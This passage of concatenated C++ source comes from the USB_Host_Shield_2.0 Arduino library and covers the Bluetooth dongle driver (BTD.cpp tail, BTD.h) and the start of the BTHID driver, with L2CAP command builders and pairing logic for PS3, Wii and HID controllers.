.-+-+-+-+-+-+-+-|-+-+-+-|-+-|-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-. * * buf[4] buf[5] buf[6] buf[7] * 0 8 16 31 MSB * .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-. * | Length | Channel ID | Basic L2CAP header * .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-. * * buf[8] buf[9] buf[10] buf[11] * 0 8 16 31 MSB * .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-. * | Code | Identifier | Length | Control frame (C-frame) * .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-. (signaling packet format) */ /************************************************************/ /* L2CAP Commands */ /************************************************************/ void BTD::L2CAP_Command(uint16_t handle, uint8_t* data, uint8_t nbytes, uint8_t channelLow, uint8_t channelHigh) { uint8_t buf[8 + nbytes]; buf[0] = (uint8_t)(handle & 0xff); // HCI handle with PB,BC flag buf[1] = (uint8_t)(((handle >> 8) & 0x0f) | 0x20); buf[2] = (uint8_t)((4 + nbytes) & 0xff); // HCI ACL total data length buf[3] = (uint8_t)((4 + nbytes) >> 8); buf[4] = (uint8_t)(nbytes & 0xff); // L2CAP header: Length buf[5] = (uint8_t)(nbytes >> 8); buf[6] = channelLow; buf[7] = channelHigh; for(uint16_t i = 0; i < nbytes; i++) // L2CAP C-frame buf[8 + i] = data[i]; uint8_t rcode = pUsb->outTransfer(bAddress, epInfo[ BTD_DATAOUT_PIPE ].epAddr, (8 + nbytes), buf); if(rcode) { delay(100); // This small delay prevents it from overflowing if it fails #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nError sending L2CAP message: 0x"), 0x80); D_PrintHex (rcode, 0x80); Notify(PSTR(" - Channel ID: "), 0x80); D_PrintHex (channelHigh, 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (channelLow, 0x80); #endif } } void BTD::l2cap_connection_request(uint16_t handle, uint8_t rxid, uint8_t* scid, uint16_t psm) { l2capoutbuf[0] = L2CAP_CMD_CONNECTION_REQUEST; // Code l2capoutbuf[1] = rxid; // Identifier l2capoutbuf[2] = 0x04; // Length l2capoutbuf[3] = 0x00; l2capoutbuf[4] = (uint8_t)(psm & 0xff); // PSM l2capoutbuf[5] = (uint8_t)(psm >> 8); l2capoutbuf[6] = scid[0]; // Source CID l2capoutbuf[7] = scid[1]; L2CAP_Command(handle, l2capoutbuf, 8); } void BTD::l2cap_connection_response(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid, uint8_t result) { l2capoutbuf[0] = L2CAP_CMD_CONNECTION_RESPONSE; // Code l2capoutbuf[1] = rxid; // Identifier l2capoutbuf[2] = 0x08; // Length l2capoutbuf[3] = 0x00; l2capoutbuf[4] = dcid[0]; // Destination CID l2capoutbuf[5] = dcid[1]; l2capoutbuf[6] = scid[0]; // Source CID l2capoutbuf[7] = scid[1]; l2capoutbuf[8] = result; // Result: Pending or Success l2capoutbuf[9] = 0x00; l2capoutbuf[10] = 0x00; // No further information l2capoutbuf[11] = 0x00; L2CAP_Command(handle, l2capoutbuf, 12); } void BTD::l2cap_config_request(uint16_t handle, uint8_t rxid, uint8_t* dcid) { l2capoutbuf[0] = L2CAP_CMD_CONFIG_REQUEST; // Code l2capoutbuf[1] = rxid; // Identifier l2capoutbuf[2] = 0x08; // Length l2capoutbuf[3] = 0x00; l2capoutbuf[4] = dcid[0]; // Destination CID l2capoutbuf[5] = dcid[1]; l2capoutbuf[6] = 0x00; // Flags l2capoutbuf[7] = 0x00; l2capoutbuf[8] = 0x01; // Config Opt: type = MTU (Maximum Transmission Unit) - Hint l2capoutbuf[9] = 0x02; // Config Opt: length l2capoutbuf[10] = 0xFF; // MTU l2capoutbuf[11] = 0xFF; L2CAP_Command(handle, l2capoutbuf, 12); } void BTD::l2cap_config_response(uint16_t handle, uint8_t rxid, uint8_t* scid) { l2capoutbuf[0] = L2CAP_CMD_CONFIG_RESPONSE; // Code l2capoutbuf[1] = rxid; // Identifier l2capoutbuf[2] = 0x0A; // Length l2capoutbuf[3] = 0x00; l2capoutbuf[4] = scid[0]; // Source CID l2capoutbuf[5] = scid[1]; l2capoutbuf[6] = 0x00; // Flag l2capoutbuf[7] = 0x00; l2capoutbuf[8] = 0x00; // Result l2capoutbuf[9] = 0x00; l2capoutbuf[10] = 0x01; // Config l2capoutbuf[11] = 0x02; l2capoutbuf[12] = 0xA0; l2capoutbuf[13] = 0x02; L2CAP_Command(handle, l2capoutbuf, 14); } void BTD::l2cap_disconnection_request(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid) { l2capoutbuf[0] = L2CAP_CMD_DISCONNECT_REQUEST; // Code l2capoutbuf[1] = rxid; // Identifier l2capoutbuf[2] = 0x04; // Length l2capoutbuf[3] = 0x00; l2capoutbuf[4] = dcid[0]; l2capoutbuf[5] = dcid[1]; l2capoutbuf[6] = scid[0]; l2capoutbuf[7] = scid[1]; L2CAP_Command(handle, l2capoutbuf, 8); } void BTD::l2cap_disconnection_response(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid) { l2capoutbuf[0] = L2CAP_CMD_DISCONNECT_RESPONSE; // Code l2capoutbuf[1] = rxid; // Identifier l2capoutbuf[2] = 0x04; // Length l2capoutbuf[3] = 0x00; l2capoutbuf[4] = dcid[0]; l2capoutbuf[5] = dcid[1]; l2capoutbuf[6] = scid[0]; l2capoutbuf[7] = scid[1]; L2CAP_Command(handle, l2capoutbuf, 8); } void BTD::l2cap_information_response(uint16_t handle, uint8_t rxid, uint8_t infoTypeLow, uint8_t infoTypeHigh) { l2capoutbuf[0] = L2CAP_CMD_INFORMATION_RESPONSE; // Code l2capoutbuf[1] = rxid; // Identifier l2capoutbuf[2] = 0x08; // Length l2capoutbuf[3] = 0x00; l2capoutbuf[4] = infoTypeLow; l2capoutbuf[5] = infoTypeHigh; l2capoutbuf[6] = 0x00; // Result = success l2capoutbuf[7] = 0x00; // Result = success l2capoutbuf[8] = 0x00; l2capoutbuf[9] = 0x00; l2capoutbuf[10] = 0x00; l2capoutbuf[11] = 0x00; L2CAP_Command(handle, l2capoutbuf, 12); } /* PS3 Commands - only set Bluetooth address is implemented in this library */ void BTD::setBdaddr(uint8_t* bdaddr) { /* Set the internal Bluetooth address */ uint8_t buf[8]; buf[0] = 0x01; buf[1] = 0x00; for(uint8_t i = 0; i < 6; i++) buf[i + 2] = bdaddr[5 - i]; // Copy into buffer, has to be written reversed, so it is MSB first // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0xF5), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data pUsb->ctrlReq(bAddress, epInfo[BTD_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0xF5, 0x03, 0x00, 8, 8, buf, NULL); } void BTD::setMoveBdaddr(uint8_t* bdaddr) { /* Set the internal Bluetooth address */ uint8_t buf[11]; buf[0] = 0x05; buf[7] = 0x10; buf[8] = 0x01; buf[9] = 0x02; buf[10] = 0x12; for(uint8_t i = 0; i < 6; i++) buf[i + 1] = bdaddr[i]; // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0x05), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data pUsb->ctrlReq(bAddress, epInfo[BTD_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0x05, 0x03, 0x00, 11, 11, buf, NULL); } ================================================ FILE: libraries/USB_Host_Shield_2.0/BTD.h ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _btd_h_ #define _btd_h_ #include "Usb.h" #include "usbhid.h" //PID and VID of the Sony PS3 devices #define PS3_VID 0x054C // Sony Corporation #define PS3_PID 0x0268 // PS3 Controller DualShock 3 #define PS3NAVIGATION_PID 0x042F // Navigation controller #define PS3MOVE_PID 0x03D5 // Motion controller // These dongles do not present themselves correctly, so we have to check for them manually #define IOGEAR_GBU521_VID 0x0A5C #define IOGEAR_GBU521_PID 0x21E8 #define BELKIN_F8T065BF_VID 0x050D #define BELKIN_F8T065BF_PID 0x065A /* Bluetooth dongle data taken from descriptors */ #define BULK_MAXPKTSIZE 64 // Max size for ACL data // Used in control endpoint header for HCI Commands #define bmREQ_HCI_OUT USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE /* Bluetooth HCI states for hci_task() */ #define HCI_INIT_STATE 0 #define HCI_RESET_STATE 1 #define HCI_CLASS_STATE 2 #define HCI_BDADDR_STATE 3 #define HCI_LOCAL_VERSION_STATE 4 #define HCI_SET_NAME_STATE 5 #define HCI_CHECK_DEVICE_SERVICE 6 #define HCI_INQUIRY_STATE 7 // These three states are only used if it should pair and connect to a device #define HCI_CONNECT_DEVICE_STATE 8 #define HCI_CONNECTED_DEVICE_STATE 9 #define HCI_SCANNING_STATE 10 #define HCI_CONNECT_IN_STATE 11 #define HCI_REMOTE_NAME_STATE 12 #define HCI_CONNECTED_STATE 13 #define HCI_DISABLE_SCAN_STATE 14 #define HCI_DONE_STATE 15 #define HCI_DISCONNECT_STATE 16 /* HCI event flags*/ #define HCI_FLAG_CMD_COMPLETE (1UL << 0) #define HCI_FLAG_CONNECT_COMPLETE (1UL << 1) #define HCI_FLAG_DISCONNECT_COMPLETE (1UL << 2) #define HCI_FLAG_REMOTE_NAME_COMPLETE (1UL << 3) #define HCI_FLAG_INCOMING_REQUEST (1UL << 4) #define HCI_FLAG_READ_BDADDR (1UL << 5) #define HCI_FLAG_READ_VERSION (1UL << 6) #define HCI_FLAG_DEVICE_FOUND (1UL << 7) #define HCI_FLAG_CONNECT_EVENT (1UL << 8) /* Macros for HCI event flag tests */ #define hci_check_flag(flag) (hci_event_flag & (flag)) #define hci_set_flag(flag) (hci_event_flag |= (flag)) #define hci_clear_flag(flag) (hci_event_flag &= ~(flag)) /* HCI Events managed */ #define EV_INQUIRY_COMPLETE 0x01 #define EV_INQUIRY_RESULT 0x02 #define EV_CONNECT_COMPLETE 0x03 #define EV_INCOMING_CONNECT 0x04 #define EV_DISCONNECT_COMPLETE 0x05 #define EV_AUTHENTICATION_COMPLETE 0x06 #define EV_REMOTE_NAME_COMPLETE 0x07 #define EV_ENCRYPTION_CHANGE 0x08 #define EV_CHANGE_CONNECTION_LINK 0x09 #define EV_ROLE_CHANGED 0x12 #define EV_NUM_COMPLETE_PKT 0x13 #define EV_PIN_CODE_REQUEST 0x16 #define EV_LINK_KEY_REQUEST 0x17 #define EV_LINK_KEY_NOTIFICATION 0x18 #define EV_DATA_BUFFER_OVERFLOW 0x1A #define EV_MAX_SLOTS_CHANGE 0x1B #define EV_READ_REMOTE_VERSION_INFORMATION_COMPLETE 0x0C #define EV_QOS_SETUP_COMPLETE 0x0D #define EV_COMMAND_COMPLETE 0x0E #define EV_COMMAND_STATUS 0x0F #define EV_LOOPBACK_COMMAND 0x19 #define EV_PAGE_SCAN_REP_MODE 0x20 /* Bluetooth states for the different Bluetooth drivers */ #define L2CAP_WAIT 0 #define L2CAP_DONE 1 /* Used for HID Control channel */ #define L2CAP_CONTROL_CONNECT_REQUEST 2 #define L2CAP_CONTROL_CONFIG_REQUEST 3 #define L2CAP_CONTROL_SUCCESS 4 #define L2CAP_CONTROL_DISCONNECT 5 /* Used for HID Interrupt channel */ #define L2CAP_INTERRUPT_SETUP 6 #define L2CAP_INTERRUPT_CONNECT_REQUEST 7 #define L2CAP_INTERRUPT_CONFIG_REQUEST 8 #define L2CAP_INTERRUPT_DISCONNECT 9 /* Used for SDP channel */ #define L2CAP_SDP_WAIT 10 #define L2CAP_SDP_SUCCESS 11 /* Used for RFCOMM channel */ #define L2CAP_RFCOMM_WAIT 12 #define L2CAP_RFCOMM_SUCCESS 13 #define L2CAP_DISCONNECT_RESPONSE 14 // Used for both SDP and RFCOMM channel /* Bluetooth states used by some drivers */ #define TURN_ON_LED 17 #define PS3_ENABLE_SIXAXIS 18 #define WII_CHECK_MOTION_PLUS_STATE 19 #define WII_CHECK_EXTENSION_STATE 20 #define WII_INIT_MOTION_PLUS_STATE 21 /* L2CAP event flags for HID Control channel */ #define L2CAP_FLAG_CONNECTION_CONTROL_REQUEST (1UL << 0) #define L2CAP_FLAG_CONFIG_CONTROL_SUCCESS (1UL << 1) #define L2CAP_FLAG_CONTROL_CONNECTED (1UL << 2) #define L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE (1UL << 3) /* L2CAP event flags for HID Interrupt channel */ #define L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST (1UL << 4) #define L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS (1UL << 5) #define L2CAP_FLAG_INTERRUPT_CONNECTED (1UL << 6) #define L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE (1UL << 7) /* L2CAP event flags for SDP channel */ #define L2CAP_FLAG_CONNECTION_SDP_REQUEST (1UL << 8) #define L2CAP_FLAG_CONFIG_SDP_SUCCESS (1UL << 9) #define L2CAP_FLAG_DISCONNECT_SDP_REQUEST (1UL << 10) /* L2CAP event flags for RFCOMM channel */ #define L2CAP_FLAG_CONNECTION_RFCOMM_REQUEST (1UL << 11) #define L2CAP_FLAG_CONFIG_RFCOMM_SUCCESS (1UL << 12) #define L2CAP_FLAG_DISCONNECT_RFCOMM_REQUEST (1UL << 13) #define L2CAP_FLAG_DISCONNECT_RESPONSE (1UL << 14) /* Macros for L2CAP event flag tests */ #define l2cap_check_flag(flag) (l2cap_event_flag & (flag)) #define l2cap_set_flag(flag) (l2cap_event_flag |= (flag)) #define l2cap_clear_flag(flag) (l2cap_event_flag &= ~(flag)) /* L2CAP signaling commands */ #define L2CAP_CMD_COMMAND_REJECT 0x01 #define L2CAP_CMD_CONNECTION_REQUEST 0x02 #define L2CAP_CMD_CONNECTION_RESPONSE 0x03 #define L2CAP_CMD_CONFIG_REQUEST 0x04 #define L2CAP_CMD_CONFIG_RESPONSE 0x05 #define L2CAP_CMD_DISCONNECT_REQUEST 0x06 #define L2CAP_CMD_DISCONNECT_RESPONSE 0x07 #define L2CAP_CMD_INFORMATION_REQUEST 0x0A #define L2CAP_CMD_INFORMATION_RESPONSE 0x0B // Used For Connection Response - Remember to Include High Byte #define PENDING 0x01 #define SUCCESSFUL 0x00 /* Bluetooth L2CAP PSM - see http://www.bluetooth.org/Technical/AssignedNumbers/logical_link.htm */ #define SDP_PSM 0x01 // Service Discovery Protocol PSM Value #define RFCOMM_PSM 0x03 // RFCOMM PSM Value #define HID_CTRL_PSM 0x11 // HID_Control PSM Value #define HID_INTR_PSM 0x13 // HID_Interrupt PSM Value // Used to determine if it is a Bluetooth dongle #define WI_SUBCLASS_RF 0x01 // RF Controller #define WI_PROTOCOL_BT 0x01 // Bluetooth Programming Interface #define BTD_MAX_ENDPOINTS 4 #define BTD_NUM_SERVICES 4 // Max number of Bluetooth services - if you need more than 4 simply increase this number #define PAIR 1 class BluetoothService; /** * The Bluetooth Dongle class will take care of all the USB communication * and then pass the data to the BluetoothService classes. */ class BTD : public USBDeviceConfig, public UsbConfigXtracter { public: /** * Constructor for the BTD class. * @param p Pointer to USB class instance. */ BTD(USB *p); /** @name USBDeviceConfig implementation */ /** * Address assignment and basic initialization is done here. * @param parent Hub number. * @param port Port number on the hub. * @param lowspeed Speed of the device. * @return 0 on success. */ uint8_t ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed); /** * Initialize the Bluetooth dongle. * @param parent Hub number. * @param port Port number on the hub. * @param lowspeed Speed of the device. * @return 0 on success. */ uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); /** * Release the USB device. * @return 0 on success. */ uint8_t Release(); /** * Poll the USB Input endpoints and run the state machines. * @return 0 on success. */ uint8_t Poll(); /** * Get the device address. * @return The device address. */ virtual uint8_t GetAddress() { return bAddress; }; /** * Used to check if the dongle has been initialized. * @return True if it's ready. */ virtual bool isReady() { return bPollEnable; }; /** * Used by the USB core to check what this driver support. * @param klass The device's USB class. * @return Returns true if the device's USB class matches this driver. */ virtual bool DEVCLASSOK(uint8_t klass) { return (klass == USB_CLASS_WIRELESS_CTRL); }; /** * Used by the USB core to check what this driver support. * Used to set the Bluetooth address into the PS3 controllers. * @param vid The device's VID. * @param pid The device's PID. * @return Returns true if the device's VID and PID matches this driver. */ virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) { if((vid == IOGEAR_GBU521_VID && pid == IOGEAR_GBU521_PID) || (vid == BELKIN_F8T065BF_VID && pid == BELKIN_F8T065BF_PID)) return true; if(my_bdaddr[0] != 0x00 || my_bdaddr[1] != 0x00 || my_bdaddr[2] != 0x00 || my_bdaddr[3] != 0x00 || my_bdaddr[4] != 0x00 || my_bdaddr[5] != 0x00) { // Check if Bluetooth address is set if(vid == PS3_VID && (pid == PS3_PID || pid == PS3NAVIGATION_PID || pid == PS3MOVE_PID)) return true; } return false; }; /**@}*/ /** @name UsbConfigXtracter implementation */ /** * UsbConfigXtracter implementation, used to extract endpoint information. * @param conf Configuration value. * @param iface Interface number. * @param alt Alternate setting. * @param proto Interface Protocol. * @param ep Endpoint Descriptor. */ void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep); /**@}*/ /** Disconnects both the L2CAP Channel and the HCI Connection for all Bluetooth services. */ void disconnect(); /** * Register Bluetooth dongle members/services. * @param pService Pointer to BluetoothService class instance. * @return The service ID on success or -1 on fail. */ int8_t registerBluetoothService(BluetoothService *pService) { for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++) { if(!btService[i]) { btService[i] = pService; return i; // Return ID } } return -1; // Error registering BluetoothService }; /** @name HCI Commands */ /** * Used to send a HCI Command. * @param data Data to send. * @param nbytes Number of bytes to send. */ void HCI_Command(uint8_t* data, uint16_t nbytes); /** Reset the Bluetooth dongle. */ void hci_reset(); /** Read the Bluetooth address of the dongle. */ void hci_read_bdaddr(); /** Read the HCI Version of the Bluetooth dongle. */ void hci_read_local_version_information(); /** * Set the local name of the Bluetooth dongle. * @param name Desired name. */ void hci_set_local_name(const char* name); /** Enable visibility to other Bluetooth devices. */ void hci_write_scan_enable(); /** Disable visibility to other Bluetooth devices. */ void hci_write_scan_disable(); /** Read the remote devices name. */ void hci_remote_name(); /** Accept the connection with the Bluetooth device. */ void hci_accept_connection(); /** * Disconnect the HCI connection. * @param handle The HCI Handle for the connection. */ void hci_disconnect(uint16_t handle); /** * Respond with the pin for the connection. * The pin is automatically set for the Wii library, * but can be customized for the SPP library. */ void hci_pin_code_request_reply(); /** Respons when no pin was set. */ void hci_pin_code_negative_request_reply(); /** * Command is used to reply to a Link Key Request event from the BR/EDR Controller * if the Host does not have a stored Link Key for the connection. */ void hci_link_key_request_negative_reply(); /** Used to try to authenticate with the remote device. */ void hci_authentication_request(); /** Start a HCI inquiry. */ void hci_inquiry(); /** Cancel a HCI inquiry. */ void hci_inquiry_cancel(); /** Connect to last device communicated with. */ void hci_connect(); /** * Connect to device. * @param bdaddr Bluetooth address of the device. */ void hci_connect(uint8_t *bdaddr); /** Used to a set the class of the device. */ void hci_write_class_of_device(); /**@}*/ /** @name L2CAP Commands */ /** * Used to send L2CAP Commands. * @param handle HCI Handle. * @param data Data to send. * @param nbytes Number of bytes to send. * @param channelLow,channelHigh Low and high byte of channel to send to. * If argument is omitted then the Standard L2CAP header: Channel ID (0x01) for ACL-U will be used. */ void L2CAP_Command(uint16_t handle, uint8_t* data, uint8_t nbytes, uint8_t channelLow = 0x01, uint8_t channelHigh = 0x00); /** * L2CAP Connection Request. * @param handle HCI handle. * @param rxid Identifier. * @param scid Source Channel Identifier. * @param psm Protocol/Service Multiplexer - see: https://www.bluetooth.org/Technical/AssignedNumbers/logical_link.htm. */ void l2cap_connection_request(uint16_t handle, uint8_t rxid, uint8_t* scid, uint16_t psm); /** * L2CAP Connection Response. * @param handle HCI handle. * @param rxid Identifier. * @param dcid Destination Channel Identifier. * @param scid Source Channel Identifier. * @param result Result - First send ::PENDING and then ::SUCCESSFUL. */ void l2cap_connection_response(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid, uint8_t result); /** * L2CAP Config Request. * @param handle HCI Handle. * @param rxid Identifier. * @param dcid Destination Channel Identifier. */ void l2cap_config_request(uint16_t handle, uint8_t rxid, uint8_t* dcid); /** * L2CAP Config Response. * @param handle HCI Handle. * @param rxid Identifier. * @param scid Source Channel Identifier. */ void l2cap_config_response(uint16_t handle, uint8_t rxid, uint8_t* scid); /** * L2CAP Disconnection Request. * @param handle HCI Handle. * @param rxid Identifier. * @param dcid Device Channel Identifier. * @param scid Source Channel Identifier. */ void l2cap_disconnection_request(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid); /** * L2CAP Disconnection Response. * @param handle HCI Handle. * @param rxid Identifier. * @param dcid Device Channel Identifier. * @param scid Source Channel Identifier. */ void l2cap_disconnection_response(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid); /** * L2CAP Information Response. * @param handle HCI Handle. * @param rxid Identifier. * @param infoTypeLow,infoTypeHigh Infotype. */ void l2cap_information_response(uint16_t handle, uint8_t rxid, uint8_t infoTypeLow, uint8_t infoTypeHigh); /**@}*/ /** Use this to see if it is waiting for a incoming connection. */ bool waitingForConnection; /** This is used by the service to know when to store the device information. */ bool l2capConnectionClaimed; /** This is used by the SPP library to claim the current SDP incoming request. */ bool sdpConnectionClaimed; /** This is used by the SPP library to claim the current RFCOMM incoming request. */ bool rfcommConnectionClaimed; /** The name you wish to make the dongle show up as. It is set automatically by the SPP library. */ const char* btdName; /** The pin you wish to make the dongle use for authentication. It is set automatically by the SPP and BTHID library. */ const char* btdPin; /** The bluetooth dongles Bluetooth address. */ uint8_t my_bdaddr[6]; /** HCI handle for the last connection. */ uint16_t hci_handle; /** Last incoming devices Bluetooth address. */ uint8_t disc_bdaddr[6]; /** First 30 chars of last remote name. */ char remote_name[30]; /** * The supported HCI Version read from the Bluetooth dongle. * Used by the PS3BT library to check the HCI Version of the Bluetooth dongle, * it should be at least 3 to work properly with the library. */ uint8_t hci_version; /** Call this function to pair with a Wiimote */ void pairWithWiimote() { pairWithWii = true; hci_state = HCI_CHECK_DEVICE_SERVICE; }; /** Used to only send the ACL data to the Wiimote. */ bool connectToWii; /** True if a Wiimote is connecting. */ bool incomingWii; /** True when it should pair with a Wiimote. */ bool pairWithWii; /** True if it's the new Wiimote with the Motion Plus Inside or a Wii U Pro Controller. */ bool motionPlusInside; /** True if it's a Wii U Pro Controller. */ bool wiiUProController; /** Call this function to pair with a HID device */ void pairWithHID() { waitingForConnection = false; pairWithHIDDevice = true; hci_state = HCI_CHECK_DEVICE_SERVICE; }; /** Used to only send the ACL data to the HID device. */ bool connectToHIDDevice; /** True if a HID device is connecting. */ bool incomingHIDDevice; /** True when it should pair with a device like a mouse or keyboard. */ bool pairWithHIDDevice; /** * Read the poll interval taken from the endpoint descriptors. * @return The poll interval in ms. */ uint8_t readPollInterval() { return pollInterval; }; protected: /** Pointer to USB class instance. */ USB *pUsb; /** Device address. */ uint8_t bAddress; /** Endpoint info structure. */ EpInfo epInfo[BTD_MAX_ENDPOINTS]; /** Configuration number. */ uint8_t bConfNum; /** Total number of endpoints in the configuration. */ uint8_t bNumEP; /** Next poll time based on poll interval taken from the USB descriptor. */ uint32_t qNextPollTime; /** Bluetooth dongle control endpoint. */ static const uint8_t BTD_CONTROL_PIPE; /** HCI event endpoint index. */ static const uint8_t BTD_EVENT_PIPE; /** ACL In endpoint index. */ static const uint8_t BTD_DATAIN_PIPE; /** ACL Out endpoint index. */ static const uint8_t BTD_DATAOUT_PIPE; /** * Used to print the USB Endpoint Descriptor. * @param ep_ptr Pointer to USB Endpoint Descriptor. */ void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr); private: void Initialize(); // Set all variables, endpoint structs etc. to default values BluetoothService *btService[BTD_NUM_SERVICES]; uint16_t PID, VID; // PID and VID of device connected uint8_t pollInterval; bool bPollEnable; bool pairWiiUsingSync; // True if pairing was done using the Wii SYNC button. bool checkRemoteName; // Used to check remote device's name before connecting. bool incomingPS4; // True if a PS4 controller is connecting uint8_t classOfDevice[3]; // Class of device of last device /* Variables used by high level HCI task */ uint8_t hci_state; // Current state of Bluetooth HCI connection uint16_t hci_counter; // Counter used for Bluetooth HCI reset loops uint16_t hci_num_reset_loops; // This value indicate how many times it should read before trying to reset uint16_t hci_event_flag; // HCI flags of received Bluetooth events uint8_t inquiry_counter; uint8_t hcibuf[BULK_MAXPKTSIZE]; // General purpose buffer for HCI data uint8_t l2capinbuf[BULK_MAXPKTSIZE]; // General purpose buffer for L2CAP in data uint8_t l2capoutbuf[14]; // General purpose buffer for L2CAP out data /* State machines */ void HCI_event_task(); // Poll the HCI event pipe void HCI_task(); // HCI state machine void ACL_event_task(); // ACL input pipe /* Used to set the Bluetooth Address internally to the PS3 Controllers */ void setBdaddr(uint8_t* BDADDR); void setMoveBdaddr(uint8_t* BDADDR); }; /** All Bluetooth services should inherit this class. */ class BluetoothService { public: BluetoothService(BTD *p) : pBtd(p) { if(pBtd) pBtd->registerBluetoothService(this); // Register it as a Bluetooth service }; /** * Used to pass acldata to the Bluetooth service. * @param ACLData Pointer to the incoming acldata. */ virtual void ACLData(uint8_t* ACLData) = 0; /** Used to run the different state machines in the Bluetooth service. */ virtual void Run() = 0; /** Used to reset the Bluetooth service. */ virtual void Reset() = 0; /** Used to disconnect both the L2CAP Channel and the HCI Connection for the Bluetooth service. */ virtual void disconnect() = 0; /** * Used to call your own function when the device is successfully initialized. * @param funcOnInit Function to call. */ void attachOnInit(void (*funcOnInit)(void)) { pFuncOnInit = funcOnInit; // TODO: This really belong in a class of it's own as it is repeated several times }; protected: /** * Called when a device is successfully initialized. * Use attachOnInit(void (*funcOnInit)(void)) to call your own function. * This is useful for instance if you want to set the LEDs in a specific way. */ virtual void onInit() = 0; /** Used to check if the incoming L2CAP data matches the HCI Handle */ bool checkHciHandle(uint8_t *buf, uint16_t handle) { return (buf[0] == (handle & 0xFF)) && (buf[1] == ((handle >> 8) | 0x20)); } /** Pointer to function called in onInit(). */ void (*pFuncOnInit)(void); /** Pointer to BTD instance. */ BTD *pBtd; /** The HCI Handle for the connection. */ uint16_t hci_handle; /** L2CAP flags of received Bluetooth events. */ uint32_t l2cap_event_flag; /** Identifier for L2CAP commands. */ uint8_t identifier; }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/BTHID.cpp ================================================ /* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #include "BTHID.h" // To enable serial debugging see "settings.h" //#define EXTRADEBUG // Uncomment to get even more debugging data //#define PRINTREPORT // Uncomment to print the report send by the HID device BTHID::BTHID(BTD *p, bool pair, const char *pin) : BluetoothService(p), // Pointer to USB class instance - mandatory protocolMode(USB_HID_BOOT_PROTOCOL) { for(uint8_t i = 0; i < NUM_PARSERS; i++) pRptParser[i] = NULL; pBtd->pairWithHIDDevice = pair; pBtd->btdPin = pin; /* Set device cid for the control and intterrupt channelse - LSB */ control_dcid[0] = 0x70; // 0x0070 control_dcid[1] = 0x00; interrupt_dcid[0] = 0x71; // 0x0071 interrupt_dcid[1] = 0x00; Reset(); } void BTHID::Reset() { connected = false; activeConnection = false; l2cap_event_flag = 0; // Reset flags l2cap_state = L2CAP_WAIT; ResetBTHID(); } void BTHID::disconnect() { // Use this void to disconnect the device // First the HID interrupt channel has to be disconnected, then the HID control channel and finally the HCI connection pBtd->l2cap_disconnection_request(hci_handle, ++identifier, interrupt_scid, interrupt_dcid); Reset(); l2cap_state = L2CAP_INTERRUPT_DISCONNECT; } void BTHID::ACLData(uint8_t* l2capinbuf) { if(!pBtd->l2capConnectionClaimed && pBtd->incomingHIDDevice && !connected && !activeConnection) { if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) { if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_CTRL_PSM) { pBtd->incomingHIDDevice = false; pBtd->l2capConnectionClaimed = true; // Claim that the incoming connection belongs to this service activeConnection = true; hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection l2cap_state = L2CAP_WAIT; } } } if(checkHciHandle(l2capinbuf, hci_handle)) { // acl_handle_ok if((l2capinbuf[6] | (l2capinbuf[7] << 8)) == 0x0001U) { // l2cap_control - Channel ID for ACL-U if(l2capinbuf[8] == L2CAP_CMD_COMMAND_REJECT) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nL2CAP Command Rejected - Reason: "), 0x80); D_PrintHex (l2capinbuf[13], 